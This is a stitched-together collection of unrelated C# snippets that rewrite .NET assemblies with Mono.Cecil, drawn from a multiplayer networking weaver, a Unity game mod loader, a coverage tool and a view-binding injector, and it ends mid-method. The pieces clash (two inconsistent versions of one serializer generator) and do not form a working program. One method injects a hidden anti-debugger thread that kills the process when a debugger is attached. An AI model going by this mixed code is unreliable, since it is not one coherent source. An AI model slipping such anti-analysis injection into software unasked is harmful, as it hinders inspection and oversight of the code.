serWorker.Append(serWorker.Create(OpCodes.Brfalse, initialStateLabel)); foreach (FieldDefinition syncVar in syncVars) { // Generates a writer call for each sync variable // writer serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // this serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); MethodReference writeFunc = Writers.GetWriteFunc(syncVar.FieldType); if (writeFunc != null) { serWorker.Append(serWorker.Create(OpCodes.Call, writeFunc)); } else { Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead"); return; } } // always return true if forceAll // Generates: return true serWorker.Append(serWorker.Create(OpCodes.Ldc_I4_1)); serWorker.Append(serWorker.Create(OpCodes.Ret)); // Generates: end if (forceAll); serWorker.Append(initialStateLabel); // write dirty bits before the data fields // Generates: writer.WritePackedUInt64 (base.get_syncVarDirtyBits ()); // writer serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.NetworkBehaviourDirtyBitsReference)); serWorker.Append(serWorker.Create(OpCodes.Call, Writers.GetWriteFunc(Weaver.uint64Type))); // generate a writer call for any dirty variable in this class // start at number of syncvars in parent int dirtyBit = Weaver.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName); foreach (FieldDefinition syncVar in syncVars) { Instruction varLabel = serWorker.Create(OpCodes.Nop); // Generates: if ((base.get_syncVarDirtyBits() & 1uL) != 0uL) // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.NetworkBehaviourDirtyBitsReference)); // 8 bytes = long serWorker.Append(serWorker.Create(OpCodes.Ldc_I8, 1L << dirtyBit)); serWorker.Append(serWorker.Create(OpCodes.And)); serWorker.Append(serWorker.Create(OpCodes.Brfalse, varLabel)); // Generates a call to the writer for that field // writer serWorker.Append(serWorker.Create(OpCodes.Ldarg_1)); // base serWorker.Append(serWorker.Create(OpCodes.Ldarg_0)); serWorker.Append(serWorker.Create(OpCodes.Ldfld, syncVar)); MethodReference writeFunc = Writers.GetWriteFunc(syncVar.FieldType); if (writeFunc != null) { serWorker.Append(serWorker.Create(OpCodes.Call, writeFunc)); } else { Weaver.Error($"{syncVar} has unsupported type. Use a supported Mirror type instead"); return; } // something was dirty serWorker.Append(serWorker.Create(OpCodes.Ldc_I4_1)); // set dirtyLocal to true serWorker.Append(serWorker.Create(OpCodes.Stloc_0)); serWorker.Append(varLabel); dirtyBit += 1; } if (Weaver.GenerateLogErrors) { serWorker.Append(serWorker.Create(OpCodes.Ldstr, "Injected Serialize " + netBehaviourSubclass.Name)); serWorker.Append(serWorker.Create(OpCodes.Call, Weaver.logErrorReference)); } // generate: return dirtyLocal serWorker.Append(serWorker.Create(OpCodes.Ldloc_0)); serWorker.Append(serWorker.Create(OpCodes.Ret)); netBehaviourSubclass.Methods.Add(serialize); }
void GenerateConstants() { if (commands.Count == 0 && clientRpcs.Count == 0 && targetRpcs.Count == 0 && eventRpcs.Count == 0 && syncObjects.Count == 0) { return; } Weaver.DLog(netBehaviourSubclass, " GenerateConstants "); // find static constructor MethodDefinition cctor = netBehaviourSubclass.GetMethod(".cctor"); bool cctorFound = cctor != null; if (cctor != null) { // remove the return opcode from end of function. will add our own later. if (cctor.Body.Instructions.Count != 0) { Instruction retInstr = cctor.Body.Instructions[cctor.Body.Instructions.Count - 1]; if (retInstr.OpCode == OpCodes.Ret) { cctor.Body.Instructions.RemoveAt(cctor.Body.Instructions.Count - 1); } else { Weaver.Error($"{netBehaviourSubclass} has invalid class constructor"); return; } } } else { // make one! cctor = new MethodDefinition(".cctor", MethodAttributes.Private | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName | MethodAttributes.Static, Weaver.voidType); } // find instance constructor MethodDefinition ctor = netBehaviourSubclass.GetMethod(".ctor"); if (ctor == null) { Weaver.Error($"{netBehaviourSubclass} has invalid constructor"); return; } Instruction ret = ctor.Body.Instructions[ctor.Body.Instructions.Count - 1]; if (ret.OpCode == OpCodes.Ret) { ctor.Body.Instructions.RemoveAt(ctor.Body.Instructions.Count - 1); } else { Weaver.Error($"{netBehaviourSubclass} has invalid constructor"); return; } ILProcessor ctorWorker = ctor.Body.GetILProcessor(); ILProcessor cctorWorker = cctor.Body.GetILProcessor(); for (int i = 0; i < commands.Count; ++i) { GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerCommandDelegateReference, commandInvocationFuncs[i], commands[i].Name); } for (int i = 0; i < clientRpcs.Count; ++i) { GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerRpcDelegateReference, clientRpcInvocationFuncs[i], clientRpcs[i].Name); } for (int i = 0; i < targetRpcs.Count; ++i) { GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerRpcDelegateReference, targetRpcInvocationFuncs[i], targetRpcs[i].Name); } for (int i = 0; i < eventRpcs.Count; ++i) { GenerateRegisterCommandDelegate(cctorWorker, Weaver.registerEventDelegateReference, eventRpcInvocationFuncs[i], eventRpcs[i].Name); } foreach (FieldDefinition fd in syncObjects) { SyncObjectInitializer.GenerateSyncObjectInitializer(ctorWorker, fd); } cctorWorker.Append(cctorWorker.Create(OpCodes.Ret)); if (!cctorFound) { netBehaviourSubclass.Methods.Add(cctor); } // finish ctor ctorWorker.Append(ctorWorker.Create(OpCodes.Ret)); // in case class had no cctor, it might have BeforeFieldInit, so injected cctor would be called too late netBehaviourSubclass.Attributes &= ~TypeAttributes.BeforeFieldInit; }
public static void WriteRecycleWriter(ILProcessor worker) { // NetworkWriterPool.Recycle(writer); worker.Append(worker.Create(OpCodes.Ldloc_0)); worker.Append(worker.Create(OpCodes.Call, Weaver.RecycleWriterReference)); }
void GenerateSerialization(ref bool WeavingFailed) { const string SerializeMethodName = "SerializeSyncVars"; if (netBehaviourSubclass.GetMethod(SerializeMethodName) != null) { return; } if (syncVars.Count == 0) { // no synvars, no need for custom OnSerialize return; } MethodDefinition serialize = new MethodDefinition(SerializeMethodName, MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.HideBySig, weaverTypes.Import <bool>()); serialize.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, weaverTypes.Import <NetworkWriter>())); serialize.Parameters.Add(new ParameterDefinition("forceAll", ParameterAttributes.None, weaverTypes.Import <bool>())); ILProcessor worker = serialize.Body.GetILProcessor(); serialize.Body.InitLocals = true; // loc_0, this local variable is to determine if any variable was dirty VariableDefinition dirtyLocal = new VariableDefinition(weaverTypes.Import <bool>()); serialize.Body.Variables.Add(dirtyLocal); MethodReference baseSerialize = Resolvers.TryResolveMethodInParents(netBehaviourSubclass.BaseType, assembly, SerializeMethodName); if (baseSerialize != null) { // base worker.Emit(OpCodes.Ldarg_0); // writer worker.Emit(OpCodes.Ldarg_1); // forceAll worker.Emit(OpCodes.Ldarg_2); worker.Emit(OpCodes.Call, baseSerialize); // set dirtyLocal to result of base.OnSerialize() worker.Emit(OpCodes.Stloc_0); } // Generates: if (forceAll); Instruction initialStateLabel = worker.Create(OpCodes.Nop); // forceAll worker.Emit(OpCodes.Ldarg_2); worker.Emit(OpCodes.Brfalse, initialStateLabel); foreach (FieldDefinition syncVarDef in syncVars) { FieldReference syncVar = syncVarDef; if (netBehaviourSubclass.HasGenericParameters) { syncVar = syncVarDef.MakeHostInstanceGeneric(); } // Generates a writer call for each sync variable // writer worker.Emit(OpCodes.Ldarg_1); // this worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, syncVar); MethodReference writeFunc = writers.GetWriteFunc(syncVar.FieldType, ref WeavingFailed); if (writeFunc != null) { worker.Emit(OpCodes.Call, writeFunc); } else { Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar); WeavingFailed = true; return; } } // always return true if forceAll // Generates: return true worker.Emit(OpCodes.Ldc_I4_1); worker.Emit(OpCodes.Ret); // Generates: end if (forceAll); worker.Append(initialStateLabel); // write dirty bits before the data fields // Generates: writer.WritePackedUInt64 (base.get_syncVarDirtyBits ()); // writer worker.Emit(OpCodes.Ldarg_1); // base worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Call, weaverTypes.NetworkBehaviourDirtyBitsReference); MethodReference writeUint64Func = writers.GetWriteFunc(weaverTypes.Import <ulong>(), ref WeavingFailed); worker.Emit(OpCodes.Call, writeUint64Func); // generate a writer call for any dirty variable in this class // start at number of syncvars in parent int dirtyBit = syncVarAccessLists.GetSyncVarStart(netBehaviourSubclass.BaseType.FullName); foreach (FieldDefinition syncVarDef in syncVars) { FieldReference syncVar = syncVarDef; if (netBehaviourSubclass.HasGenericParameters) { syncVar = syncVarDef.MakeHostInstanceGeneric(); } Instruction varLabel = worker.Create(OpCodes.Nop); // Generates: if ((base.get_syncVarDirtyBits() & 1uL) != 0uL) // base worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Call, weaverTypes.NetworkBehaviourDirtyBitsReference); // 8 bytes = long worker.Emit(OpCodes.Ldc_I8, 1L << dirtyBit); worker.Emit(OpCodes.And); worker.Emit(OpCodes.Brfalse, varLabel); // Generates a call to the writer for that field // writer worker.Emit(OpCodes.Ldarg_1); // base worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, syncVar); MethodReference writeFunc = writers.GetWriteFunc(syncVar.FieldType, ref WeavingFailed); if (writeFunc != null) { worker.Emit(OpCodes.Call, writeFunc); } else { Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar); WeavingFailed = true; return; } // something was dirty worker.Emit(OpCodes.Ldc_I4_1); // set dirtyLocal to true worker.Emit(OpCodes.Stloc_0); worker.Append(varLabel); dirtyBit += 1; } // add a log message if needed for debugging //worker.Emit(OpCodes.Ldstr, $"Injected Serialize {netBehaviourSubclass.Name}"); //worker.Emit(OpCodes.Call, WeaverTypes.logErrorReference); // generate: return dirtyLocal worker.Emit(OpCodes.Ldloc_0); worker.Emit(OpCodes.Ret); netBehaviourSubclass.Methods.Add(serialize); }
public static void Main(string[] args) { try { ManagedPath = Environment.GetEnvironmentVariable("DOORSTOP_MANAGED_FOLDER_DIR"); GamePath = Path.GetFullPath(ManagedPath + @"\..\..\"); string ConfigPath = Path.GetFullPath(Path.Combine(ManagedPath, @"..\..\UULoader\config.json")); if (File.Exists(ConfigPath)) { string lines = File.ReadAllText(ConfigPath); config = JsonConvert.DeserializeObject <Config>(lines); } else { config = new Config(); } using (AssemblyDefinition mainDef = AssemblyDefinition.ReadAssembly(GamePath + "UULoader\\UULoader.dll")) { if (config.useDefault) { string dll = "UnityEngine.CoreModule.dll"; if (!File.Exists(Path.Combine(ManagedPath, "UnityEngine.CoreModule.dll"))) { dll = "UnityEngine.dll"; } using (AssemblyDefinition unityCoreDef = AssemblyDefinition.ReadAssembly(Path.Combine(ManagedPath, dll))) { TypeDefinition applicationDef = unityCoreDef.MainModule.Types.FirstOrDefault((TypeDefinition x) => x.Name == "Application"); MethodDefinition startInfo = mainDef.MainModule.Types .First((TypeDefinition x) => x.Name == "UULoaderMain") .Methods.First((MethodDefinition x) => x.Name == "Start"); MethodReference startMethod = unityCoreDef.MainModule.ImportReference(startInfo); MethodDefinition constructor = applicationDef.Methods.FirstOrDefault((MethodDefinition m) => m.IsConstructor && m.IsStatic); if (constructor == null) { constructor = new MethodDefinition(".cctor", MethodAttributes.Private | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName | MethodAttributes.Static, unityCoreDef.MainModule.ImportReference(typeof(void))); applicationDef.Methods.Add(constructor); ILProcessor ilprocessor = constructor.Body.GetILProcessor(); ilprocessor.Append(ilprocessor.Create(OpCodes.Ret)); } ILProcessor ilprocessor2 = constructor.Body.GetILProcessor(); Instruction instruction = ilprocessor2.Body.Instructions.First <Instruction>(); ilprocessor2.InsertBefore(instruction, ilprocessor2.Create(OpCodes.Call, startMethod)); using (MemoryStream memoryStream = new MemoryStream()) { unityCoreDef.Write(memoryStream); Assembly.Load(memoryStream.ToArray()); } } } else { using (AssemblyDefinition unityCoreDef = AssemblyDefinition.ReadAssembly(Path.Combine(ManagedPath, config.assembly))) { TypeDefinition applicationDef = unityCoreDef.MainModule.Types.FirstOrDefault((TypeDefinition x) => x.Name == config.type); MethodDefinition startInfo = mainDef.MainModule.Types .First((TypeDefinition x) => x.Name == "UULoaderMain") .Methods.First((MethodDefinition x) => x.Name == "Start"); MethodReference startMethod = unityCoreDef.MainModule.ImportReference(startInfo); MethodDefinition constructor = applicationDef.Methods.FirstOrDefault((MethodDefinition m) => m.Name == config.method); ILProcessor ilprocessor2 = constructor.Body.GetILProcessor(); Instruction instruction = ilprocessor2.Body.Instructions.First <Instruction>(); ilprocessor2.InsertBefore(instruction, ilprocessor2.Create(OpCodes.Call, startMethod)); using (MemoryStream memoryStream = new MemoryStream()) { unityCoreDef.Write(memoryStream); Assembly.Load(memoryStream.ToArray()); } } } using (MemoryStream memoryStream = new MemoryStream()) { mainDef.Write(memoryStream); Assembly.Load(memoryStream.ToArray()); } } } catch (Exception e) { using (TextWriter textWriter = File.CreateText("ERROR.txt")) { textWriter.WriteLine(e); textWriter.Flush(); } } }
void DeserializeField(FieldDefinition syncVar, ILProcessor worker, ref bool WeavingFailed) { // put 'this.' onto stack for 'this.syncvar' below worker.Append(worker.Create(OpCodes.Ldarg_0)); // push 'ref T this.field' worker.Emit(OpCodes.Ldarg_0); // if the netbehaviour class is generic, we need to make the field reference generic as well for correct IL if (netBehaviourSubclass.HasGenericParameters) { worker.Emit(OpCodes.Ldflda, syncVar.MakeHostInstanceGeneric()); } else { worker.Emit(OpCodes.Ldflda, syncVar); } // hook? then push 'new Action<T,T>(Hook)' onto stack MethodDefinition hookMethod = syncVarAttributeProcessor.GetHookMethod(netBehaviourSubclass, syncVar, ref WeavingFailed); if (hookMethod != null) { syncVarAttributeProcessor.GenerateNewActionFromHookMethod(syncVar, worker, hookMethod); } // otherwise push 'null' as hook else { worker.Emit(OpCodes.Ldnull); } // call GeneratedSyncVarDeserialize<T>. // special cases for GameObject/NetworkIdentity/NetworkBehaviour // passing netId too for persistence. if (syncVar.FieldType.Is <UnityEngine.GameObject>()) { // reader worker.Emit(OpCodes.Ldarg_1); // GameObject setter needs one more parameter: netId field ref FieldDefinition netIdField = syncVarNetIds[syncVar]; worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netIdField); worker.Emit(OpCodes.Call, weaverTypes.generatedSyncVarDeserialize_GameObject); } else if (syncVar.FieldType.Is <NetworkIdentity>()) { // reader worker.Emit(OpCodes.Ldarg_1); // NetworkIdentity deserialize needs one more parameter: netId field ref FieldDefinition netIdField = syncVarNetIds[syncVar]; worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netIdField); worker.Emit(OpCodes.Call, weaverTypes.generatedSyncVarDeserialize_NetworkIdentity); } // TODO this only uses the persistent netId for types DERIVED FROM NB. // not if the type is just 'NetworkBehaviour'. // this is what original implementation did too. fix it after. else if (syncVar.FieldType.IsDerivedFrom <NetworkBehaviour>()) { // reader worker.Emit(OpCodes.Ldarg_1); // NetworkIdentity deserialize needs one more parameter: netId field ref // (actually its a NetworkBehaviourSyncVar type) FieldDefinition netIdField = syncVarNetIds[syncVar]; worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netIdField); // make generic version of GeneratedSyncVarSetter_NetworkBehaviour<T> MethodReference getFunc = weaverTypes.generatedSyncVarDeserialize_NetworkBehaviour_T.MakeGeneric(assembly.MainModule, syncVar.FieldType); worker.Emit(OpCodes.Call, getFunc); } else { // T value = reader.ReadT(); // this is still in IL because otherwise weaver generated // readers/writers don't seem to work in tests. // besides, this also avoids reader.Read<T> overhead. MethodReference readFunc = readers.GetReadFunc(syncVar.FieldType, ref WeavingFailed); if (readFunc == null) { Log.Error($"{syncVar.Name} has unsupported type. Use a supported Mirror type instead", syncVar); WeavingFailed = true; return; } // reader. for 'reader.Read()' below worker.Emit(OpCodes.Ldarg_1); // reader.Read() worker.Emit(OpCodes.Call, readFunc); // make generic version of GeneratedSyncVarDeserialize<T> MethodReference generic = weaverTypes.generatedSyncVarDeserialize.MakeGeneric(assembly.MainModule, syncVar.FieldType); worker.Emit(OpCodes.Call, generic); } }
static MethodDefinition GenerateStructWriterFunction(TypeReference variable, int recursionCount) { if (recursionCount > MaxRecursionCount) { Weaver.Error($"{variable} can't be serialized because it references itself"); return(null); } if (!Weaver.IsValidTypeToGenerate(variable.Resolve())) { return(null); } string functionName = "_Write" + variable.Name + "_"; if (variable.DeclaringType != null) { functionName += variable.DeclaringType.Name; } else { functionName += "None"; } // create new writer for this type MethodDefinition writerFunc = new MethodDefinition(functionName, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig, Weaver.voidType); writerFunc.Parameters.Add(new ParameterDefinition("writer", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(Weaver.NetworkWriterType))); writerFunc.Parameters.Add(new ParameterDefinition("value", ParameterAttributes.None, Weaver.CurrentAssembly.MainModule.ImportReference(variable))); ILProcessor worker = writerFunc.Body.GetILProcessor(); uint fields = 0; foreach (FieldDefinition field in variable.Resolve().Fields) { if (field.IsStatic || field.IsPrivate) { continue; } if (field.FieldType.Resolve().HasGenericParameters) { Weaver.Error($"{field} has unsupported type. Create a derived class instead of using generics"); return(null); } if (field.FieldType.Resolve().IsInterface) { Weaver.Error($"{field} has unsupported type. Use a concrete class instead of an interface"); return(null); } MethodReference writeFunc = GetWriteFunc(field.FieldType, recursionCount + 1); if (writeFunc != null) { fields++; worker.Append(worker.Create(OpCodes.Ldarg_0)); worker.Append(worker.Create(OpCodes.Ldarg_1)); worker.Append(worker.Create(OpCodes.Ldfld, field)); worker.Append(worker.Create(OpCodes.Call, writeFunc)); } else { Weaver.Error($"{field} has unsupported type. Use a type supported by Mirror instead"); return(null); } } if (fields == 0) { Log.Warning($" {variable} has no no public or non-static fields to serialize"); } worker.Append(worker.Create(OpCodes.Ret)); return(writerFunc); }
private void AddCustomModuleTrackerToModule(ModuleDefinition module) { using (AssemblyDefinition coverletInstrumentationAssembly = AssemblyDefinition.ReadAssembly(typeof(ModuleTrackerTemplate).Assembly.Location)) { TypeDefinition moduleTrackerTemplate = coverletInstrumentationAssembly.MainModule.GetType( "Coverlet.Core.Instrumentation", nameof(ModuleTrackerTemplate)); _customTrackerTypeDef = new TypeDefinition( "Coverlet.Core.Instrumentation.Tracker", Path.GetFileNameWithoutExtension(module.Name) + "_" + _identifier, moduleTrackerTemplate.Attributes); _customTrackerTypeDef.BaseType = module.TypeSystem.Object; foreach (FieldDefinition fieldDef in moduleTrackerTemplate.Fields) { var fieldClone = new FieldDefinition(fieldDef.Name, fieldDef.Attributes, fieldDef.FieldType); fieldClone.FieldType = module.ImportReference(fieldDef.FieldType); _customTrackerTypeDef.Fields.Add(fieldClone); if (fieldClone.Name == nameof(ModuleTrackerTemplate.HitsArray)) { _customTrackerHitsArray = fieldClone; } else if (fieldClone.Name == nameof(ModuleTrackerTemplate.HitsFilePath)) { _customTrackerHitsFilePath = fieldClone; } else if (fieldClone.Name == nameof(ModuleTrackerTemplate.SingleHit)) { _customTrackerSingleHit = fieldClone; } } foreach (MethodDefinition methodDef in moduleTrackerTemplate.Methods) { MethodDefinition methodOnCustomType = new MethodDefinition(methodDef.Name, methodDef.Attributes, methodDef.ReturnType); foreach (var parameter in methodDef.Parameters) { methodOnCustomType.Parameters.Add(new ParameterDefinition(module.ImportReference(parameter.ParameterType))); } foreach (var variable in methodDef.Body.Variables) { methodOnCustomType.Body.Variables.Add(new VariableDefinition(module.ImportReference(variable.VariableType))); } methodOnCustomType.Body.InitLocals = methodDef.Body.InitLocals; ILProcessor ilProcessor = methodOnCustomType.Body.GetILProcessor(); if (methodDef.Name == ".cctor") { _customTrackerClassConstructorIl = ilProcessor; } foreach (Instruction instr in methodDef.Body.Instructions) { if (instr.Operand is MethodReference methodReference) { if (!methodReference.FullName.Contains(moduleTrackerTemplate.Namespace)) { // External method references, just import then instr.Operand = module.ImportReference(methodReference); } else { // Move to the custom type var updatedMethodReference = new MethodReference(methodReference.Name, methodReference.ReturnType, _customTrackerTypeDef); foreach (var parameter in methodReference.Parameters) { updatedMethodReference.Parameters.Add(new ParameterDefinition(parameter.Name, parameter.Attributes, module.ImportReference(parameter.ParameterType))); } instr.Operand = updatedMethodReference; } } else if (instr.Operand is FieldReference fieldReference) { instr.Operand = _customTrackerTypeDef.Fields.Single(fd => fd.Name == fieldReference.Name); } else if (instr.Operand is TypeReference typeReference) { instr.Operand = module.ImportReference(typeReference); } ilProcessor.Append(instr); } foreach (var handler in methodDef.Body.ExceptionHandlers) { if (handler.CatchType != null) { handler.CatchType = module.ImportReference(handler.CatchType); } methodOnCustomType.Body.ExceptionHandlers.Add(handler); } _customTrackerTypeDef.Methods.Add(methodOnCustomType); } module.Types.Add(_customTrackerTypeDef); } Debug.Assert(_customTrackerHitsArray != null); Debug.Assert(_customTrackerClassConstructorIl != null); }
private void AntiDebag(string path, string outPath) { AssemblyDefinition assembly = AssemblyDefinition.ReadAssembly(path); TypeDefinition t = assembly.MainModule.GetType("<Module>"); MethodDefinition cctor = null; // <Module>.cctor foreach (MethodDefinition m in t.Methods) { if (m.Name == ".cctor" && m.IsConstructor) { cctor = m; break; } } if (cctor == null) // если ни один cctor не найден, создать новый { cctor = new MethodDefinition( ".cctor", Mono.Cecil.MethodAttributes.Private | Mono.Cecil.MethodAttributes.Static | Mono.Cecil.MethodAttributes.HideBySig | Mono.Cecil.MethodAttributes.SpecialName | Mono.Cecil.MethodAttributes.RTSpecialName , assembly.MainModule.Import(typeof(void))); t.Methods.Add(cctor); } if (cctor.Body.Instructions.Count > 0 && cctor.Body.Instructions.Last <Instruction>().OpCode == OpCodes.Ret) { cctor.Body.Instructions.Remove(cctor.Body.Instructions.Last <Instruction>()); // если cctor уже существовал удалить последний } MethodDefinition AntiDebug = new MethodDefinition( // Метод antidebug (управляемый), который будет выполнен в новом потоке "AntiDebug", Mono.Cecil.MethodAttributes.Static | Mono.Cecil.MethodAttributes.Private, assembly.MainModule.Import(typeof(void))); ILProcessor CtorProcessor = cctor.Body.GetILProcessor(); CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ldnull)); CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ldftn, AntiDebug)); CtorProcessor.Append(CtorProcessor.Create(OpCodes.Newobj, assembly.MainModule.Import(typeof(ThreadStart).GetConstructor(new Type[] { typeof(object), typeof(IntPtr) })))); // если указано несколько методов с тем же именем Тип параметр CtorProcessor.Append(CtorProcessor.Create(OpCodes.Newobj, assembly.MainModule.Import(typeof(Thread).GetConstructor(new Type[] { typeof(ThreadStart) })))); CtorProcessor.Append(CtorProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Thread).GetMethod("Start", Type.EmptyTypes)))); CtorProcessor.Append(CtorProcessor.Create(OpCodes.Ret)); ILProcessor AntiProcessor = AntiDebug.Body.GetILProcessor(); Instruction First = AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Debugger).GetMethod("get_IsAttached"))); Instruction Exit = AntiProcessor.Create(OpCodes.Ldc_I4_0); AntiProcessor.Append(First); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Brtrue_S, Exit)); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Debugger).GetMethod("IsLogging")))); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Brtrue_S, Exit)); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Ldc_I4, 1000)); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Thread).GetMethod("Sleep", new Type[] { typeof(Int32) })))); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Br_S, First)); AntiProcessor.Append(Exit); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Call, assembly.MainModule.Import(typeof(Environment).GetMethod("Exit", new Type[] { typeof(int) })))); AntiProcessor.Append(AntiProcessor.Create(OpCodes.Ret)); t.Methods.Add(AntiDebug); assembly.Write(outPath); }
private Instruction AddSubscribtionInstructions(Instruction lastInstruction, ILProcessor ilProcessor, int resourceId, List <MethodSubscriptionInfo> methodsToSubscribe, bool shouldThrowExceptionIfNull) { Instruction li; if (lastInstruction == null) { lastInstruction = li = Instruction.Create(OpCodes.Ret); ilProcessor.Append(li); } else { li = lastInstruction; } InsertBefore(ref li, Instruction.Create(OpCodes.Nop)); foreach (var m in methodsToSubscribe) { InsertBefore(ref li, Instruction.Create(OpCodes.Nop)); InsertBefore(ref li, Instruction.Create(OpCodes.Callvirt, m.AddHandlerMethod)); InsertBefore(ref li, Instruction.Create(OpCodes.Newobj, m.HandlerCtor)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldftn, m.TargetMethod)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldarg_0)); InsertBefore(ref li, Instruction.Create(OpCodes.Castclass, m.OwnerType)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_0)); } var nopBeforeSubscriptions = Instruction.Create(OpCodes.Nop); InsertBefore(ref li, nopBeforeSubscriptions); if (shouldThrowExceptionIfNull) { InsertBefore(ref li, Instruction.Create(OpCodes.Throw)); InsertBefore(ref li, Instruction.Create(OpCodes.Newobj, _referencesProvider.InjectorExceptionCtor)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldstr, $"Can't find view with ID {resourceId}")); } else { InsertBefore(ref li, Instruction.Create(OpCodes.Br_S, lastInstruction)); InsertBefore(ref li, Instruction.Create(OpCodes.Nop)); } InsertBefore(ref li, Instruction.Create(OpCodes.Nop)); InsertBefore(ref li, Instruction.Create(OpCodes.Brfalse_S, nopBeforeSubscriptions)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_1)); InsertBefore(ref li, Instruction.Create(OpCodes.Stloc_1)); InsertBefore(ref li, Instruction.Create(OpCodes.Ceq)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldnull)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldloc_0)); InsertBefore(ref li, Instruction.Create(OpCodes.Stloc_0)); InsertBefore(ref li, Instruction.Create(OpCodes.Callvirt, _referencesProvider.FindViewByIdMethodReference)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldc_I4, resourceId)); InsertBefore(ref li, Instruction.Create(OpCodes.Ldarg_1)); InsertBefore(ref li, Instruction.Create(OpCodes.Nop)); return(li); void InsertBefore(ref Instruction firstInstruction, Instruction newInstruction) { ilProcessor.InsertBefore(firstInstruction, newInstruction); firstInstruction = newInstruction; } }
public MethodDefinition GenerateSyncVarSetter(TypeDefinition td, FieldDefinition fd, string originalName, long dirtyBit, FieldDefinition netFieldId, ref bool WeavingFailed) { //Create the set method MethodDefinition set = new MethodDefinition("set_Network" + originalName, MethodAttributes.Public | MethodAttributes.SpecialName | MethodAttributes.HideBySig, weaverTypes.Import(typeof(void))); ILProcessor worker = set.Body.GetILProcessor(); // if (!SyncVarEqual(value, ref playerData)) Instruction endOfMethod = worker.Create(OpCodes.Nop); // this worker.Emit(OpCodes.Ldarg_0); // new value to set worker.Emit(OpCodes.Ldarg_1); // reference to field to set // make generic version of SetSyncVar with field type if (fd.FieldType.Is <UnityEngine.GameObject>()) { // reference to netId Field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, netFieldId); worker.Emit(OpCodes.Call, weaverTypes.syncVarGameObjectEqualReference); } else if (fd.FieldType.Is <NetworkIdentity>()) { // reference to netId Field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, netFieldId); worker.Emit(OpCodes.Call, weaverTypes.syncVarNetworkIdentityEqualReference); } else if (fd.FieldType.IsDerivedFrom <NetworkBehaviour>()) { // reference to netId Field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, netFieldId); MethodReference getFunc = weaverTypes.syncVarNetworkBehaviourEqualReference.MakeGeneric(assembly.MainModule, fd.FieldType); worker.Emit(OpCodes.Call, getFunc); } else { worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, fd); GenericInstanceMethod syncVarEqualGm = new GenericInstanceMethod(weaverTypes.syncVarEqualReference); syncVarEqualGm.GenericArguments.Add(fd.FieldType); worker.Emit(OpCodes.Call, syncVarEqualGm); } worker.Emit(OpCodes.Brtrue, endOfMethod); // T oldValue = value; // TODO for GO/NI we need to backup the netId don't we? VariableDefinition oldValue = new VariableDefinition(fd.FieldType); set.Body.Variables.Add(oldValue); worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldfld, fd); worker.Emit(OpCodes.Stloc, oldValue); // this worker.Emit(OpCodes.Ldarg_0); // new value to set worker.Emit(OpCodes.Ldarg_1); // reference to field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, fd); // dirty bit // 8 byte integer aka long worker.Emit(OpCodes.Ldc_I8, dirtyBit); if (fd.FieldType.Is <UnityEngine.GameObject>()) { // reference to netId Field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netFieldId); worker.Emit(OpCodes.Call, weaverTypes.setSyncVarGameObjectReference); } else if (fd.FieldType.Is <NetworkIdentity>()) { // reference to netId Field to set worker.Emit(OpCodes.Ldarg_0); worker.Emit(OpCodes.Ldflda, netFieldId); worker.Emit(OpCodes.Call, weaverTypes.setSyncVarNetworkIdentityReference); } else if (fd.FieldType.IsDerivedFrom <NetworkBehaviour>()) { // reference to netId Field to set 